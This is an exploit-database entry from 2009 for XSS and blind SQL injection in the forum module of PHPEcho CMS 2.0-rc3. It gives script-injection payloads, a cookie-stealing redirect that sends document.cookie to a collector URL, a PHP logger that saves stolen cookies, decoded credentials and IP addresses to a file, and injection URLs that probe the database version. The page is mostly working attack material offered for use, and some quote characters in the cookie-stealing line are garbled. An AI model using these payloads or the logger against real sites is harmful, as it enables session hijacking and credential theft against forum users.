PHPEcho CMS 2.0-rc3 (forum) XSS Cookie Stealing / Blind Vulnerability

2009-06-24T00:00:00
ID 1337DAY-ID-5409
Type zdt
Reporter JosS
Modified 2009-06-24T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
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PHPEcho CMS 2.0-rc3 (forum) XSS Cookie Stealing / Blind Vulnerability
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PHPEcho CMS 2.0-rc3 (forum) XSS Cookie Stealing / Blind Vulnerability
bug found by Jose Luis Gongora Fernandez (a.k.a) JosS

- download: http://sourceforge.net/project/showfiles.php?group_id=186100

~ [XSS]

  The forum allowed insert javascript code and html code.

  PoC:
  "><h1>0wned</h1>
  "><script>alert("JosS b0x");</script>
  
  -----------  

  Cookie Stealing:
  <script>window.location=?http://127.0.0.1/stealing.php?cookie=?+document.cookie</script>

  stealing.php
  <?php
  $archivo = fopen('log.htm','a');
  $cookie = $_GET['c'];
  $usuario = $_GET['id']; 
  $ip = getenv ('REMOTE_ADDR');
  $re = $HTTPREFERRER;

  $fecha=date("j F, Y, g:i a");
  fwrite($archivo, '<hr>USER and PASSWORD: '.base64_decode($usuario).'<br>Cookie: '.$cookie.'<br>Pagina: '.$re.'<br> 

  IP: ' .$ip. '<br> Date and Time: ' .$fecha. '</hr>');
  fclose($archivo);
  ?>

~ [BLIND]

  PoC:
  /index.php?module=forum&show=thread&id=1 and 1=2 [False]
  /index.php?module=forum&show=thread&id=1 and 1=1 [True]

  /index.php?module=forum&show=thread&id=1 AND SUBSTRING(@@version,1,1)=5
  /index.php?module=forum&show=thread&id=1 AND SUBSTRING(@@version,1,1)=4




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